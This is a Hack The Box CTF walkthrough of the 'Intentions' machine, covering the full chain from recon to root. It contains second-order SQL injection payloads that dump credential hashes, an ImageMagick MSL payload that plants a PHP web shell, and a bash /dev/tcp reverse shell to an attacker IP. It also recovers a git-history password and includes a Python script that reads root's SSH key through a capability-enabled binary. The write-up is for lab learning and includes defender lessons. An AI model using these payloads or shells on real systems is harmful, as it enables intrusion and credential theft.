Hack The Box
Hack The Box: Intentions Walkthrough
Second-order SQL injection exposes an administrator hash accepted by the v2 API, ImageMagick MSL processing writes a web shell, and Git history plus a privileged file-scanner oracle recover root's SSH key.

Target IP: 10.129.229.27 (active session used 10.129.11.89)
Attacker IP: 10.10.16.84
OS: Linux (Ubuntu 22.04)
Difficulty: Hard
Attack chain
The attack path follows application data flows and trust boundaries.
Enumeration Before Exploitation
Map the attack surface, application logic, and trust boundaries before testing assumptions.
Follow the Data
Web applications are fundamentally about data flow. Ask yourself at every step:
- Where does my input go?
- When is it processed?
- Who processes it?
- What assumptions does the developer make about this data?
Second-order effects
Most beginners look for immediate feedback. They input a single quote and expect an error instantly. Second-order vulnerabilities teach us patience - sometimes your payload is stored, sanitized, forgotten... and then dangerously reused elsewhere.
When Plans Fail, Debug Systematically
Our ImageMagick exploit initially failed. Rather than guessing, we tested the simplest possible authenticated request first. This isolated the problem: missing session cookies. Methodical debugging beats random guessing.
Phase 1: Reconnaissance
Step 1.1: Port Scanning with nmap
nmap -p- --min-rate 10000 10.129.229.27
nmap -p 22,80 -sCV 10.129.229.27
What we did:
- First scan: All 65535 TCP ports at high speed (
--min-rate 10000) to quickly identify open ports - Second scan: Service detection (
-sCV) on discovered ports to identify exact software versions
Results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1
80/tcp open http nginx 1.18.0 (Ubuntu)
- SSH (22) gives us a persistence/escalation path if we find credentials
- HTTP (80) is our primary target for initial access
- Version information helps us eliminate known vulnerabilities and focus on custom application logic
Phase 2: Web Enumeration & Account Creation
Step 2.1: Initial Website Exploration
Visiting http://10.129.229.27/ shows the "Intentions Image Gallery" with a login form.
What we did:
- Checked for default credentials (admin/admin, etc.) - none worked
- Clicked "Register" and created a test account
- Logged in and explored all features: Gallery, Your Feed, Profile
Step 2.2: Understanding the Application Logic
After logging in, we discovered three key features:
| Feature | Description | Attack Relevance |
|---|---|---|
| Gallery | Shows all images by genre | Read-only, less interesting |
| Your Feed | Shows images matching your "Favorite Genres" | This is where stored data gets processed dynamically |
| Profile | Allows editing "Favorite Genres" (default: food,travel,nature) |
This is where we can store malicious input |
The Critical Observation:
When we changed genres to food,travel and clicked Update, "Your Feed" changed. This means:
- Our genres are stored in the database (Profile page)
- They are later retrieved to build a SQL query (Your Feed page)
Phase 3: Discovering the SQL Injection
Step 3.1: Testing for Injection
We tried setting Favorite Genres to: food'
Result: The profile saved successfully, but "Your Feed" returned a 500 Internal Server Error.
Why this is significant:
- The save operation worked (the profile accepted the quote)
- The error only appeared when the data was retrieved and used in a query
- This confirms a second-order SQL injection
Step 3.2: Understanding the Query Structure
We hypothesized the backend query looked like:
SELECT * FROM images WHERE genre IN ('food', 'travel', 'nature')
To inject successfully, we need to:
- Close the opening parenthesis and quote:
') - Add our malicious SQL
- Comment out the rest with
#
We also discovered that spaces break the query (likely filtered or split somewhere), so we used MySQL comment syntax /**/ as a space substitute.
Step 3.3: Confirming Injection
Payload: food')/**/or/**/1=1#
Result: "Your Feed" showed ALL images from every genre.
Phase 4: Exploiting Second-Order SQLi
Step 4.1: Determining Column Count
Payload: ')/**/UNION/**/SELECT/**/1,2,3,4,5#
Result: Success! We saw one image with:
id: 1file: 2genre: 3created_at: timestampupdated_at: timestamp
Why UNION SELECT needs exact columns: SQL requires UNION statements to have the same number of columns as the original query. If we guess wrong, we get a column mismatch error.
Step 4.2: Database Enumeration
We used the genre column (position 3) to exfiltrate data since it accepts strings.
Get database name:
')/**/UNION/**/SELECT/**/1,2,database(),4,5#
Result: intentions
Get table names:
')/**/UNION/**/SELECT/**/1,2,table_name,4,5/**/from/**/information_schema.tables/**/where/**/table_schema='intentions'#
Result: We found the users table.
Step 4.3: Dumping User Credentials
Final Payload:
')/**/UNION/**/SELECT/**/1,2,concat(name,':',email,':',admin,':',password),4,5/**/from/**/users#
Result: We extracted all users including admins:
steve:steve@intentions.htb:1:REDACTED_PASSWORD_HASH
greg:greg@intentions.htb:1:$2y$10$REDACTED_ENCODED_LAB_MATERIAL
Key Observations:
admin=1indicates admin privileges- Passwords are bcrypt hashes (
$2y$10$...) - Bcrypt is computationally expensive to crack - brute-forcing would take days/weeks
Phase 5: Admin Access via v2 API
Step 5.1: Discovering the v2 Login Endpoint
Exploring JavaScript files (specifically admin.js) revealed that a v2 API exists with client-side password hashing. The v2 login uses email and hash instead of password.
Why this exists: The developers mistakenly believed that sending bcrypt hashes instead of plaintext passwords was "more secure" - not realizing that if you have the hash, you have the password from the server's perspective.
Step 5.2: Authenticating as Steve
curl -s -X POST http://10.129.11.89/api/v2/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"steve@intentions.htb","hash":"REDACTED_PASSWORD_HASH"}'
Result: We received a JWT token.
Step 5.3: Establishing a Session
The Problem: The JWT token alone wasn't enough for web/API access. The application also required session cookies (intentions_session, XSRF-TOKEN).
Solution: We established a full session by:
- Visiting the homepage to get base cookies
- Sending those cookies during v2 login
- Saving the resulting cookie jar
curl -s -c /tmp/htb_cookies.txt http://10.129.11.89/ > /dev/null
curl -s -i -X POST http://10.129.11.89/api/v2/auth/login \
-H "Content-Type: application/json" \
-b /tmp/htb_cookies.txt \
-c /tmp/htb_cookies.txt \
-d '{"email":"steve@intentions.htb","hash":"$2y$10$..."}'
Phase 6: ImageMagick RCE (MSL Exploit)
Step 6.1: Discovering the Admin Feature
As admin, we accessed /admin and found an image editing feature. Clicking "Edit" on an image showed effect buttons (CHARCOAL, etc.).
The API call:
POST /api/v2/admin/image/modify
{"path":"/var/www/html/intentions/storage/app/public/food/rod-long--LMw-y4gxac-unsplash.jpg","effect":"charcoal"}
Step 6.2: Identifying ImageMagick
We confirmed ImageMagick by:
- Testing
path[100x100]: worked (resized) - Testing
path[]: failed - Testing
path[10x10]: worked (tiny image)
This bracket syntax is unique to ImageMagick.
Step 6.3: Understanding the Vulnerability
ImageMagick's PHP extension (Imagick) allows arbitrary object instantiation. When you pass a specially crafted path to new Imagick(), it can:
- Read from URLs (
http://,ftp://) - Process MSL (Magick Scripting Language) files
- Write files to arbitrary locations
The MSL format is an XML-based scripting language for ImageMagick that can:
- Read images (including from URLs)
- Write images (to arbitrary paths)
- Embed PHP code in captions
Step 6.4: The Exploit Chain
Problem: We can't directly upload an MSL file and reference it because msl:/http://attacker/ isn't supported.
Solution: We abuse PHP's temporary file handling:
- Send a multipart POST request with the MSL file as an attachment
- PHP saves it to
/tmp/phpXXXXXX(random suffix) - Use the
vid:scheme with wildcards:vid:msl:/tmp/php* - ImageMagick's
ExpandFilenamesfinds the temp file via wildcard matching
Step 6.5: Creating the Payload
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:<?php system($_REQUEST['cmd']); ?>" />
<write filename="info:/var/www/html/intentions/storage/app/public/shell.php" />
</image>
Mechanism:
caption:creates an image containing the text<?php system($_REQUEST['cmd']); ?>info:writes image metadata/info to the specified path- The resulting file contains PHP code that executes when accessed via the web server
- The
caption:text before the PHP tag appears in output (hence thecaption:prefix we saw)
Step 6.6: Executing the Exploit
curl -X POST "http://10.129.11.89/api/v2/admin/image/modify?path=vid:msl:/tmp/php*&effect=abcd" \
-b /tmp/htb_cookies.txt \
-F 'file=@/tmp/shell.msl;filename=test.msl'
Result: 502 Bad Gateway (ImageMagick crashed processing the MSL - this is expected and means success)
Verification:
curl -s "http://10.129.11.89/storage/shell.php?cmd=id"
# Output: caption:uid=33(www-data) gid=33(www-data) groups=33(www-data)
Phase 7: Shell as www-data
Step 7.1: Getting the Reverse Shell
nc -lnvp 443 # On Kali
curl -s "http://10.129.11.89/storage/shell.php" \
-d 'cmd=bash -c "bash -i >%26 /dev/tcp/10.10.16.84/443 0>%261"'
Critical detail: The %26 is URL-encoded &. Without this, PHP's system() would receive a broken command because & is a form data delimiter.
Result: We caught a shell as www-data.
Step 7.2: Upgrading the Shell
# In the reverse shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
Why upgrade? A basic netcat shell lacks job control, proper signal handling, and TTY features. A pseudo-TTY gives us a more stable interactive environment.
Phase 8: Privilege Escalation to greg
Step 8.1: Finding the Git Repository
cd /var/www/html/intentions
ls -la # Reveals .git directory
Step 8.2: Extracting Credentials from Git History
We encountered a permission issue: Git refused to run due to "dubious ownership." We bypassed this by setting HOME=/tmp so Git could write its config.
HOME=/tmp git config --global --add safe.directory /var/www/html/intentions
HOME=/tmp git --no-pager log --oneline
HOME=/tmp git --no-pager show 36b4287:tests/Feature/Helper.php
Result:
$res = $test->postJson('/api/v1/auth/login',
['email' => 'greg@intentions.htb',
'password' => 'Gr3g1sTh3B3stDev3l0per!1998!']);
Step 8.3: Pivoting to greg
su - greg
# Password: REDACTED
Phase 9: Privilege Escalation to root
Step 9.1: Enumeration as greg
sudo -l # No sudo access
find / -perm -4000 -or -perm -2000 2>/dev/null # No unusual SUID binaries
getcap -r / 2>/dev/null
Critical Discovery:
/opt/scanner/scanner cap_dac_read_search=ep
What cap_dac_read_search=ep means:
This Linux capability allows the binary to bypass all file read permission checks. It can read /root/.ssh/id_rsa, /etc/shadow, or any file regardless of ownership or permissions.
Step 9.2: Understanding the Scanner Binary
The scanner computes MD5 hashes of files and compares them against a blacklist. The key flag is -l:
-l int Maximum bytes of files being checked to hash (default 500)
With -p (print debug), it reveals the hash of the first N bytes.
Step 9.3: The Brute-Force Strategy
The Insight: If we know the MD5 hash of the first byte of a file, we can brute-force all 256 possible byte values to find the match. Then we do the same for the first 2 bytes, 3 bytes, etc.
Mechanism:
- MD5 is deterministic: same input = same hash
- We can control the length with
-l - We can read any file with the capability
Step 9.4: The Exploit Script
#!/usr/bin/env python3
import hashlib
import subprocess
import sys
def get_hash(fn, n):
proc = subprocess.run(f"/opt/scanner/scanner -c {fn} -s whatever -p -l {n}".split(),
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
try:
return proc.stdout.decode().strip().split()[-1]
except IndexError:
return None
def get_next_char(output, target):
for i in range(256):
if target == hashlib.md5(output + chr(i).encode()).hexdigest():
return chr(i).encode()
output = b""
fn = sys.argv[1]
while True:
target = get_hash(fn, len(output) + 1)
next_char = get_next_char(output, target)
if next_char is None:
break
output += next_char
print(next_char.decode(), end="", flush=True)
print()
Step 9.5: Reading root's SSH Key
python3 /tmp/read_file.py /root/.ssh/id_rsa
Result: After several minutes of brute-forcing byte-by-byte, we recovered the complete private key.
"This is a 'lame' exploit in the best way possible. No memory corruption, no fancy technique - just abusing the intended functionality of a privileged binary. When you have arbitrary read, the game is over. I chose
/root/.ssh/id_rsabecause it's the cleanest, most reliable persistence method."
Step 9.6: SSH as root
On Kali, we saved the key to root_key, set proper permissions, and connected:
chmod 600 root_key
ssh -i root_key root@10.129.11.89
Result: Root shell achieved.
Lessons Learned
For Attackers
- Second-order vulnerabilities require patience. Test inputs in all contexts where stored data is reused.
- Hashes are passwords. Do not assume hashed credentials are safe to expose.
- Capabilities are privileges. Check
getcapduring Linux enumeration. - Git history is sensitive. Do not commit credentials, but also Check
.gitin target environments. - Debug systematically. When the MSL exploit failed, we tested a simple authenticated request first to isolate the auth issue.
For Defenders
- Parameterize ALL queries. The SQLi existed because the genres string was concatenated into a SELECT statement while INSERTs were likely parameterized.
- Don't accept hashes as passwords. Client-side hashing doesn't improve security if the server accepts the hash.
- Sanitize file paths rigorously. Do not pass user-controlled paths directly to image processing libraries.
- Audit capabilities.
cap_dac_read_searchon a user-accessible binary is equivalent to giving away root's reading ability. - Scrub Git history. Use
git filter-repoor BFG to permanently remove secrets from history.
Flags
- User Flag:
741c7b00[redacted]6731bff4 - Root Flag:
eeb7a2[redacted]279b9bb2